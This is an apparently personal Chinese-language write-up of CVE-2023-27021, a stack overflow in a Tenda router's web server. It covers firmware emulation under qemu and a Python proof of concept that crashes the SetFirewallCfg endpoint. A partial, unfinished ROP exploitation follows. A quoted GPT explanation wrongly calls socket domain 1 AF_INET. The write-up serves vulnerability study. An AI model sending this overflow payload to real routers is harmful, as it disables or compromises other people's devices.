CVE-2023-27021-tenda 路由器 - 栈溢出漏洞
官网下载链接为:https://www.tenda.com.cn/download/detail-2680.html
# 去官网下载相应的产品
下载之后,使用 binwalk 进行解包。
# 解包
binwalk -Me filename.bin
分解完之后的 squashfs-root
即为路由器的文件系统。
tenda 路由器的 web 启动程序通常是 bin 目录下的 httpd 文件
$ file httpd
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
可以看到位 arm 架构的 32 位的可执行程序
# 执行程序
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd
发现程序一直卡在这里,拖进 IDA 搜索字符串 WeLoveLinux
# 查找原因
通过查看,在这里会 check_network。
grep -rn "check_network" * | |
grep: bin/netctrl: 匹配到二进制文件 | |
grep: bin/multiWAN: 匹配到二进制文件 | |
grep: bin/httpd: 匹配到二进制文件 | |
grep: bin/phddns: 匹配到二进制文件 | |
grep: bin/tendaupload: 匹配到二进制文件 | |
grep: bin/logserver: 匹配到二进制文件 | |
grep: lib/libcommon.so: 匹配到二进制文件 |
去寻找该函数在那个库里。 libcommon.so
函数主体
再次寻找 get_eth_name
grep -rn "get_eth_name" * | |
grep: bin/netctrl: 匹配到二进制文件 | |
grep: bin/dnrd: 匹配到二进制文件 | |
grep: bin/multiWAN: 匹配到二进制文件 | |
grep: bin/dhcpcd: 匹配到二进制文件 | |
grep: bin/httpd: 匹配到二进制文件 | |
grep: bin/business_proc: 匹配到二进制文件 | |
grep: bin/cfmd: 匹配到二进制文件 | |
grep: bin/time_check: 匹配到二进制文件 | |
grep: lib/libtpi.so: 匹配到二进制文件 | |
grep: lib/libChipApi.so: 匹配到二进制文件 | |
grep: lib/libcommon.so: 匹配到二进制文件 |
从这里我们就可以看到需要什么类型的虚拟网络接口了。对应前面的 get_eth_name(0)
===> 所以我们需要 br0
# 建立虚拟网络接口
通过 ifconfig
查看本地的网卡
使用以下命令建立虚拟网桥并进行 UP
sudo brctl addbr br0
这个命令创建一个新的虚拟网桥(bridge),名为br0。brctl是用于管理网络网桥的命令行工具,addbr选项用于添加一个新的网桥。这里,我们添加了一个名为br0的网桥。
sudo brctl addif br0 ens33
这个命令将物理网络接口ens33添加到刚刚创建的虚拟网桥br0中。addif选项用于将网络接口添加到网桥。这样,所有通过ens33接口的网络流量都会被转发到br0网桥,从而实现多个网络接口之间的通信。
sudo ifconfig br0 up
这个命令启用(激活)虚拟网桥br0。ifconfig是一个用于配置网络接口的命令行工具。在这里,我们使用up选项来激活br0网桥,使其可以开始处理网络流量。
sudo dhclient br0
这个命令为虚拟网桥br0分配一个动态IP地址。dhclient是一个用于请求和配置动态主机配置协议(DHCP)的命令行工具。在这里,我们使用dhclient为br0网桥获取一个动态IP地址,这样它就可以与其他网络设备进行通信。
sudo tunctl -t br0 -u 'whoami'
这个命令创建一个名为br0的虚拟网络接口。tunctl是一个用于管理虚拟网络设备的命令行工具,通常用于创建和管理TUN/TAP设备。在这里,我们使用-t选项来指定设备名称(br0),-u选项来指定拥有该设备的用户的用户名。'whoami'是一个shell命令,用于输出当前用户的用户名,因此这里会创建一个虚拟网络接口,其所有者为执行命令的当前用户。
sudo ifconfig br0 192.168.65.1/24
这个命令为虚拟网络接口br0分配一个静态IP地址。ifconfig是一个用于配置网络接口的命令行工具。在这里,我们使用它来为br0接口指定一个IP地址(192.168.65.1)和一个子网掩码(/24)。这意味着网络接口将使用192.168.65.1作为其IP地址,子网掩码为255.255.255.0。
> sudo ifconfig br0 down && sudo brctl delbr br0 停止网络接口并删除
> sudo netstat -tulnp | grep 192.168.65.1:80 查找对应的服务
> kill -9 PID kill 命令来停止它
> sudo netplan apply ens33无ip修复
# 再次出现问题
# 查找原因
GPT:
socket(1, 1, 0): 这个函数需要三个参数:
第一个参数是域(domain),它指定了socket的协议族。在这个例子中,1代表AF_INET,即IPv4的因特网协议族。
第二个参数是类型(type),它指定了socket的通信方式。在这个例子中,1代表SOCK_STREAM,表示一个面向连接的、可靠的字节流socket,通常用于TCP协议。
第三个参数是协议(protocol),它指定了socket使用的特定协议。在这个例子中,0表示让系统选择默认协议。对于SOCK_STREAM类型的socket,通常使用TCP协议。
所以我们暂时无法依照现在的环境去修改网络状况。
但是还有一种办法我们可以修改执行逻辑。
所以我们去修改这两块的逻辑
sudo chroot ./ ./qemu-arm-static ./bin/httpd
此时就可以正常访问了
但是当我们正常访问时,发现网页是 404,此时我们让下面的 webroot_ro 的里面文件刷进去即可。
# 测试漏洞
使用 IDA 逆向 httpd 文件,寻找可以造成栈溢出的函数。挖掘栈溢出漏洞,通常我们要从一些危险函数入手,第一类函数是 scanf,可能产生格式化字符串溢出漏洞,第二类是 strcpy、strcat、sprintf 等字符串拷贝函数。根据 tenda 的历史 CVE 漏洞,strcpy 函数产生的漏洞比较多,所以我们从 strcpy 入手举例。
我们通过这个去寻找防火墙的漏洞
src 直接去复制到 dest 里,后续也没有对 dest 的长度进行检测。
还需要我们去确定这个是否可以进行传入,sub_2BA8C 是 WebGetvar (goahead 的函数,暂时还不会恢复符号表),所以我们是可以通过这个函数进行传参的。接下来我们进行测试。
故猜测以及目录为 goform
测试 POC 如下:
import requests | |
url = "http://192.168.65.1/goform/SetFirewallCfg" | |
header = { | |
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", | |
"Cookie": "password=hdjcvb" | |
} | |
payload = "A" * 500 | |
data = {"firewallEn": payload} | |
response = requests.post(url, headers=header, data=data, timeout=5) | |
print(response.text) |
执行 POC 后:
所以可以得知存在拒绝服务漏洞。
# 利用漏洞 - gdb 调试
测试漏洞的保护
因为 NX 保护开启,无法向栈上写入 shellcode 去执行。可以去利用 rop,去进行获取 shell
# 配置 gdb 动态调试环境
sudo chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd
开启另一个终端
gdb-multiarch ./bin/httpd
pwndbg> set architecture arm
pwndbg> target remote :9999
sudo lsof -i :9999 查看 gdb 绑定端口的 PID
这样我们就可以去调试程序了
# 利用 POC 去劫持 ret
进入 gdb 调试后我们先 n 上两步,然后执行 POC 两次,观测 gdb
发现返回地址确实被我们去劫持到一个我们人为输入的值。接下来就是测试我们如何将这个改成一个可获取 shell 的 rop
# 利用漏洞 - 获取 shell
- 获取返回地址据输入偏移量
- 寻找 libc 基址
使用 vmmap 看内存信息
猜测箭头所指出为 libc 基址。
- 寻找 gadget
使用 ROPgadget,在 libc 中找一个可以控制 r0 的 gadget
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
再在 libc 中找一个可以 pop 到 r3 的 gadget
ROPgadget --binary ./lib/libc.so.0 --only "pop"|grep r3
后续补充…